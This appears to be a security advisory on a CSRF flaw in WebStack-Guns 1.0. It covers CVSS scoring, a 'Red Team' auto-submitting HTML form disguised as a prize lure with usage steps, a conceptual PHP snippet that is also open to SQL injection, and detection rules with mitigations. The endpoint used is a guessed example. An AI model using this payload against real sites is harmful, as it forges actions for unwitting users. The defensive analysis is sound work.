CVE-2025-5888

Executive Summary

CVE-2025-5888 is a Cross-Site Request Forgery (CSRF) vulnerability identified in the jsnjfz WebStack-Guns application, version 1.0. The vulnerability allows an attacker to perform unauthorized actions on behalf of an authenticated user, such as modifying configurations or triggering state-changing operations, without the user's consent. The attack vector is remote, requiring user interaction (e.g., clicking a malicious link). The vendor has been contacted but has not responded, and no official patch is available. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the public disclosure of a proof-of-concept (PoC) increases risk for unpatched instances.

Supply Chain & Package Security

This vulnerability is not associated with a package manager (NPM, PyPI, Go, Ruby). It is a standalone web application. No supply chain implications are identified.

CVSS Breakdown & Threat Level

• CVSS Score: 4.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Attack Vector (AV): Network – The attack can be launched remotely.
• Attack Complexity (AC): Low – No special conditions required.
• Privileges Required (PR): None – The attacker does not need prior authentication.
• User Interaction (UI): Required – The victim must perform an action (e.g., click a link).
• Scope (S): Unchanged – The vulnerability affects only the vulnerable component.
• Confidentiality (C): None – No data exposure.
• Integrity (I): Low – Unauthorized modification of data or state is possible.
• Availability (A): None – No denial of service.

Threat Level: Medium. The vulnerability requires user interaction, but the lack of a patch and public PoC makes it a viable target for social engineering attacks.

Deep Dive & Mechanics

The vulnerability resides in an unknown functionality of WebStack-Guns 1.0. The application fails to implement anti-CSRF tokens or other validation mechanisms (e.g., SameSite cookies, origin headers) for state-changing requests. An attacker can craft a malicious HTML page or email that, when visited by an authenticated user, triggers a forged request to the vulnerable endpoint. This could lead to actions such as modifying user settings, creating new accounts, or altering application data.

Root Cause: Missing CSRF protection on sensitive endpoints.

Attack Flow:

1. The attacker identifies a state-changing endpoint (e.g., /admin/updateSettings).
2. The attacker crafts a malicious link or form that submits a request to this endpoint.
3. The victim, authenticated to the WebStack-Guns application, clicks the link or submits the form.
4. The browser automatically includes the victim's session cookies, and the server processes the request as legitimate.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the entire application version 1.0. A patched version would include CSRF tokens or validation.

Vulnerable Code (Conceptual):

// No CSRF token check
if ($_POST['action'] == 'update') {
    $db->query("UPDATE settings SET value='".$_POST['value']."' WHERE id=1");
}

Patched Code (Conceptual):

session_start();
if (!hash_equals($_SESSION['csrf_token'], $_POST['csrf_token'])) {
    die('CSRF validation failed');
}
if ($_POST['action'] == 'update') {
    $stmt = $db->prepare("UPDATE settings SET value=? WHERE id=1");
    $stmt->execute([$_POST['value']]);
}

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• A running instance of WebStack-Guns 1.0.
• An authenticated victim user session.

Exploit PoC (HTML):

<html>
<body>
<h1>Click this link to win a prize!</h1>
<form action="http://target.com/admin/updateSettings" method="POST">
    <input type="hidden" name="action" value="update">
    <input type="hidden" name="value" value="malicious_value">
    <input type="submit" value="Claim Prize">
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>

Usage:

1. Host the HTML file on an attacker-controlled server.
2. Send the link to the victim (e.g., via email or social engineering).
3. When the victim clicks the link, the form auto-submits, performing the unauthorized action.

Blue Team (Defender)

Detection:

• Monitor for unexpected POST requests to sensitive endpoints (e.g., /admin/*).
• Analyze HTTP Referer headers for mismatched origins.
• Use the Sigma rule below to detect CSRF attempts.

Mitigation:

• Implement CSRF tokens in all state-changing forms.
• Set SameSite=Strict or SameSite=Lax on session cookies.
• Validate Origin and Referer headers on the server side.

Indicators of Compromise (IOCs)

• Network:
  • HTTP POST requests to /admin/* endpoints with unexpected parameters.
  • Referer headers pointing to external domains.
• Host:
  • Log entries showing unauthorized configuration changes.
  • Unexpected user account creation or privilege escalation.
• File:
  • No specific file IOCs; the attack is network-based.

Detection Engineering

YARA Rule

rule detect_csrf_webstack_guns {
    meta:
        description = "Detects CSRF exploitation attempts against WebStack-Guns 1.0"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-5888"
    strings:
        $s1 = "admin/updateSettings" nocase
        $s2 = "action=update" nocase
        $s3 = "value=" nocase
    condition:
        all of them
}

Sigma Rule

title: CSRF Exploitation Attempt Against WebStack-Guns
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects POST requests to WebStack-Guns admin endpoints without proper CSRF tokens
author: Valters IT
date: 2025-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/admin/'
    condition: selection
falsepositives:
    - Legitimate admin actions
level: medium

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"CVE-2025-5888 CSRF Attempt Against WebStack-Guns"; flow:to_server,established; http.method; content:"POST"; http.uri; content:"/admin/"; nocase; http.referer; content:!"|2e|target.com"; distance:0; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable vulnerable endpoints if possible, or restrict access via IP whitelisting.
2. Implement CSRF tokens manually in all forms and AJAX requests.
3. Set session cookies with SameSite=Strict and HttpOnly flags.
4. Validate HTTP Referer header to ensure requests originate from the same origin.

Long-Term Fix:

• Since the vendor is unresponsive, consider migrating to an alternative solution or forking the project to apply patches.
• Conduct a full security audit of the application to identify other vulnerabilities.

Workaround:

• Use a Web Application Firewall (WAF) to block requests with suspicious Referer headers or missing CSRF tokens.

Valters IT